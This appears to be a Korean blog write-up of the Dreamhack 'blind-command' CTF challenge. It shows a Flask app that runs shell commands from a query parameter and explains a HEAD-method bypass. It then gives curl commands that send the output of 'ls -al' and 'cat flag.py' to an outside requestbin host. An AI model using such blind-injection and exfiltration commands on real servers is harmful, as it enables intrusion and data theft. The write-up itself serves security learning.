| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 | 31 |
- 위상 정렬
- top-cert
- 레나튜토리얼
- 우테코
- 우아한테크코스
- sk 쉴더스 루키즈 31기
- 자바
- 동적분석
- 루키즈31기
- Practical Malware Analysis Labs
- webhacking
- SK쉴더스루키즈
- 레나 튜토리얼
- 웹개발
- Dreamhack
- 알고리즘
- sk쉴더스 루키즈
- 루키즈
- 리버싱
- 백엔드
- React
- 루키즈 31기
- 프리코스
- sk 쉴더스 루키즈
- 악성코드 분석
- sk 쉴더스
- c
- linux
- 깃
- 예술의 전당
- Today
- Total
yon11b
[DH] blind-command 본문
문제

문제 화면

코드
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
코드 분석
- ?cmd로 입력되지 않으면 return "?cmd=[cmd]" 을 한다
- GET 방식으로 입력이 되면 ‘’ 이 된다.
- else인 경우에만 명령어가 제대로 인식이 된다.
따라서 url에 cmd=~~로 입력하면 ~~만 화면에 출력될 것이다
- ?cmd=ls를 입력해보았더니 ls만 뜨고 아무것도 뜨지 않았다.
- ?cmd=dir도 마찬가지였다.

따라서 우리는 GET 방식이 아닌, 다른 방식으로 해결해야 할 것이다.
시도1- POST 방식으로 전달
요청을 날린 후 burp suite를 사용하여 중간에 잡아서 1번째 줄에서 GET -> POST로 바꾸어 준다

그리고 아래 코드들도 추가해 준다
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
cmd=ls
405 에러 - Method not allowed (혀용되지 않는 http method 사용함) 이 떴다.

생각해보니까 파이썬 코드에서 methods=GET으로 되어 있어서
@app.route('/' , methods=['GET'])
POST 방식으로 요청이 안 되는 것 같았다.
시도2- HEAD 방식으로 전달
GET을 우회할 수 있는 다른 메소드를 찾다가 HEAD가 GET이랑 비슷하다는 것을 알게 되었다.
- GET
- URI로 지정한 정보를 header와 body에 담아서 응답
- HEAD
- GET과 비슷하지만 header로만 응답

그래서 burp suite를 이용해서 GET→HEAD로 바꾸고 forward해도

body는 반환하지 않기 때문에 빈 화면이 뜨는 것이다.
즉, 이런 방식으로 해서는 실행결과를 확인할 수 없다.
시도3 - 외부로 데이터 전달
드림핵 강의에서는 이렇게 실행결과를 확인할 수 없는 환경에서 우회하는 방법에 대해 알려주고 있다.
Network Outbound 방법 사용
- OS명령어를 실행한 결과를 네트워크 도구를 이용해 외부 서버로 전송시키는 방법

https://dreamhack.io/learn/28#9
그리고 외부 서버 url도 제공하고 있다.
https://tools.dreamhack.games/requestbin/brmmiok
request bin에서 제공하는 url 주소로 요청을 보내면 응답을 확인할 수 있다!
DH 강의를 보면 body를 통해 응답결과를 볼 수 있는 방법으로는 curl,wget이 있는 것 같다.
curl 명령어를 사용해보자
일단 어느 파일들이 있는지 확인하기 위해서 ls -al을 해보았다.
curl <https://fsnegei.request.dreamhack.games/> -d "$(ls -al)"
GET → HEAD → Forward 클릭

DH tools 사이트에 가서 확인해보니 POST로 들어온 응답이 있었다!

Body 부분을 잘 보면 flag.py를 볼 수 있다
그럼 이제 cat flag.py로 flag를 얻어보자!
아래처럼 url에 입력하고
<http://host1.dreamhack.games:18844/?cmd=curl> [DHtool에서제공하는 url]/-d "$(cat%20flag.py)"
똑같이 버프스위트 켜서 GET을 HEAD로 바꾸고 forward 누른 다음에 DH 사이트가서 확인해보면 Body 부분에 Flag가 잘 담긴 것을 확인할 수 있다!

'보안 > 웹' 카테고리의 다른 글
| [webhacking.kr]old-14 문제 (0) | 2022.02.08 |
|---|---|
| [webhacking.kr] old-01 문제 (0) | 2022.02.08 |
| los 문제보다가 갑자기 생긴 의문(해결) (1) | 2022.02.03 |
| [los]darkknight_writeup (0) | 2022.01.13 |
| [los]golem_writeup (1) | 2022.01.13 |